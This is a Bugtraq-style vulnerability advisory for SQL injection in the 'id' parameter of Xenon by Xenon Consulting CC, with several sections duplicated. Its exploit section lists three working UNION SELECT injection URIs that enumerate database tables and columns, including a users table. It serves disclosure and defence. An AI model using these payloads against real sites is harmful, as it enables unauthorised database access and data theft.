Xenon 'id' Parameter Multiple SQL Injection Vulnerabilities
BID:50141
Info
Xenon 'id' Parameter Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 50141 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 14 2011 12:00AM |
| Updated: | Oct 14 2011 12:00AM |
| Credit: | m3rciL3Ss |
| Vulnerable: |
Xenon Consulting CC Xenon 0 |
| Not Vulnerable: | |
Discussion
Xenon 'id' Parameter Multiple SQL Injection Vulnerabilities
Xenon is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Xenon is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Exploit / POC
Xenon 'id' Parameter Multiple SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/news_detail.php?id=-9+union+select+0,1,2,3,group_concat%28table_name%29,5+from+information_schema.tables
http://www.example.com/viewstory.php?id=-8+and+1=1+union+select+0,1,2,group_concat%28column_name%29,4+from+information_schema.columns+where+table_name=0x7573657273
http://www.example.com/event.php?id=-153+union+select+0,1,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/news_detail.php?id=-9+union+select+0,1,2,3,group_concat%28table_name%29,5+from+information_schema.tables
http://www.example.com/viewstory.php?id=-8+and+1=1+union+select+0,1,2,group_concat%28column_name%29,4+from+information_schema.columns+where+table_name=0x7573657273
http://www.example.com/event.php?id=-153+union+select+0,1,2,3,4,5,6,7,8,group_concat%28table_name%29,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+information_schema.tables
Solution / Fix
Xenon 'id' Parameter Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Xenon 'id' Parameter Multiple SQL Injection Vulnerabilities
References:
References:
- m3rciL3Ss Blog (m3rciL3Ss)
- Packet Storm: Xenon SQL Injection Vulnerability (Packet Storm)
- Xenon Consulting CC Homepage (Xenon Consulting CC)